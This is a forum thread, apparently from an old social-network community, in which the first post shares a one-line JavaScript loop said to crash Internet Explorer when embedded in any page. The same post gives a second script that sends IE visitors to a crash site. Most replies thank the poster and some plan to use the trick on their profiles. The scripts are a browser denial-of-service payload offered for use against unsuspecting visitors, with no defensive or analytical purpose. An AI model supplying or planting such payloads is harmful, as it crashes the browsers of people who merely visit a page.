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Firefox handles the code perfectly - but Internet Explorer, on the other hand, throws an exception and unceremoniously quits. Considering the script in question is one line long, or 61 bytes (about 0.
- aidenlive
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Firefox handles the code perfectly - but Internet Explorer, on the other hand, throws an exception and unceremoniously quits. Considering the script in question is one line long, or 61 bytes (about 0.
Firefox handles the code perfectly - but Internet Explorer, on the other hand, throws an exception and unceremoniously quits. Considering the script in question is one line long, or 61 bytes (about 0.06Kb), and that it can be embedded into any webpage, it's rather worrying.
[url=http://www.crashie.com/]IE PREVIEW[/url]
[img]http://www.modernlifeisrubbish.co.uk/images/screenshots/internet-explorer-crash.jpg[/img]
js code
[spoiler]for (x in document.write) { document.write(x);}[/spoiler]
Force Page Redirection =IE Crash
[spoiler]if(navigator.userAgent.indexOf("MSIE") != -1)
{alert("Sorry! "+pageViewerFName+" My page is not suitable for IE browsers.")
alert("Please use Mozilla Firefox!")
var answer = confirm ("Do you want to close this window?.")
if (answer)
window.location = "http://www.crashie.com/";
else
window.location = "http://www.mozilla.com/en-US/firefox/";
}[/spoiler]
Last edited by aidenlive (2009-06-12 09:04:48)
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- bobcbar
- » FTalkElite
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- 1969-12-31
Re: Firefox handles the code perfectly - but Internet Explorer, on the other hand, throws an exception and unceremoniously quits. Considering the script in question is one line long, or 61 bytes (about 0.
Please explain the purpose of this topic I am confused? Is it to block IE users from viewing ur profile?
Last edited by bobcbar (2008-12-27 22:49:27)
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- akoba
- » FTalkAddict
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- 1969-12-31
Re: Firefox handles the code perfectly - but Internet Explorer, on the other hand, throws an exception and unceremoniously quits. Considering the script in question is one line long, or 61 bytes (about 0.
i think because of those incompatible codes will make your IE crashed when view. It always happen/crash on my IE when i view my profile with a intro loading page. The reason is those incompatible codes that make the browser crash.
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- bobcbar
- » FTalkElite
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- 1969-12-31
Re: Firefox handles the code perfectly - but Internet Explorer, on the other hand, throws an exception and unceremoniously quits. Considering the script in question is one line long, or 61 bytes (about 0.
[quote=akoba]It always happen/crash on my IE when i view my profile with a intro loading page. The reason is those incompatible codes that make the browser crash.[/quote]
Yes I have that problem also as IE user, but not on all the loading page tricks just some of them.
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- giotzkie05
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- 1969-12-31
Re: Firefox handles the code perfectly - but Internet Explorer, on the other hand, throws an exception and unceremoniously quits. Considering the script in question is one line long, or 61 bytes (about 0.
hehehe.. tnx for this 
nc trick
nc trick
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- Alchemist_vanreizer
- » FTalker
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- 1969-12-31
Re: Firefox handles the code perfectly - but Internet Explorer, on the other hand, throws an exception and unceremoniously quits. Considering the script in question is one line long, or 61 bytes (about 0.
xD..that's bad haha but good for us 
nice trick for IE haters
nice trick for IE haters
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- idiot_goblinz
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- 1969-12-31
Re: Firefox handles the code perfectly - but Internet Explorer, on the other hand, throws an exception and unceremoniously quits. Considering the script in question is one line long, or 61 bytes (about 0.
wow 
cool script
but most of my viewer use ie 
btw, thanx for sharing 
cool script
but most of my viewer use ie
btw, thanx for sharing
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- jddrulez
- » FTalker
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- 1969-12-31
Re: Firefox handles the code perfectly - but Internet Explorer, on the other hand, throws an exception and unceremoniously quits. Considering the script in question is one line long, or 61 bytes (about 0.
this is nice...
but im usually using IE...
sumtyms FF...
btw,
thnx for sharing this to us....
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- robin182
- » FTalkAddict
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- 1969-12-31
Re: Firefox handles the code perfectly - but Internet Explorer, on the other hand, throws an exception and unceremoniously quits. Considering the script in question is one line long, or 61 bytes (about 0.
wew.. nice trick.. thx 4 sharing here..
hehehhee...
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- slashedkite
- » FTalkManiac
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- 1969-12-31
Re: Firefox handles the code perfectly - but Internet Explorer, on the other hand, throws an exception and unceremoniously quits. Considering the script in question is one line long, or 61 bytes (about 0.
im a ff user but my viewers are using ie.. anyways, thanks for sharing..
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- VeCt
- » FTalkElite
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- 1969-12-31
Re: Firefox handles the code perfectly - but Internet Explorer, on the other hand, throws an exception and unceremoniously quits. Considering the script in question is one line long, or 61 bytes (about 0.
i hate IE 
i wanna use this
coz i didn't how to make a good CSS in IE
i wanna use this
coz i didn't how to make a good CSS in IE
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